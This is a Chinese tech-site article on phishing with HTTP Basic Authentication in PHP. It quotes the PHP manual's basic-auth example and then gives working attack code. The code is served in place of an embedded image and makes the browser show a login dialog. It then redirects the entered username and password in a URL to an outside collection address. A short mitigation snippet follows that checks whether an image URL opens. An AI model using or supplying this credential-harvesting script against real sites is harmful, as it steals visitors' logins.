扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
首先大家回想一下,在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢?没错,这就是最近很火的基础认证。那我们如何用php来实现钓鱼攻击呢?
在php手册中有以下代码来演示基础认证登录。
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
首先定义HTTP头为WWW-Authenticate,然后相应为401 这样就可以构造一个简单的基础认证框。
基本流程,用户访问被污染服务器,服务器返回信息,浏览器访问图片地址,图片服务器返回401响应,http头为WWW-Authenticate ..... ,浏览器弹出基础认证框, 由于Location:被定义为收信地址所以,浏览器跳转并转递信息至收信地址。 攻击完成。
贴出攻击代码吧。
<?php
$info=@$_GET['info'];
if(!isset($_SERVER['PHP_AUTH_USER'])){
header("WWW-Authenticate:BASIC Realm=$info");
header("HTTP/1.0 401 Unauthorized");
exit;
}else{
/*获取用户名,密码进行验证*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
extract($_GET,EXTR_SKIP);
if($user&&$pwd){
header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");
}else{
header("WWW-Authenticate:BASIC Realm=user");
header("HTTP/1.0 401 Unauthorized");
exit;
}
}
?>
防范措施:
由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。
我们可以用以下代码来验证图片是否有效!
<?php
$url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';
if( @fopen( $url, 'r' ) )
{
echo 'File Exits';
}
else
{
echo 'File Do Not Exits';
}
?>
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者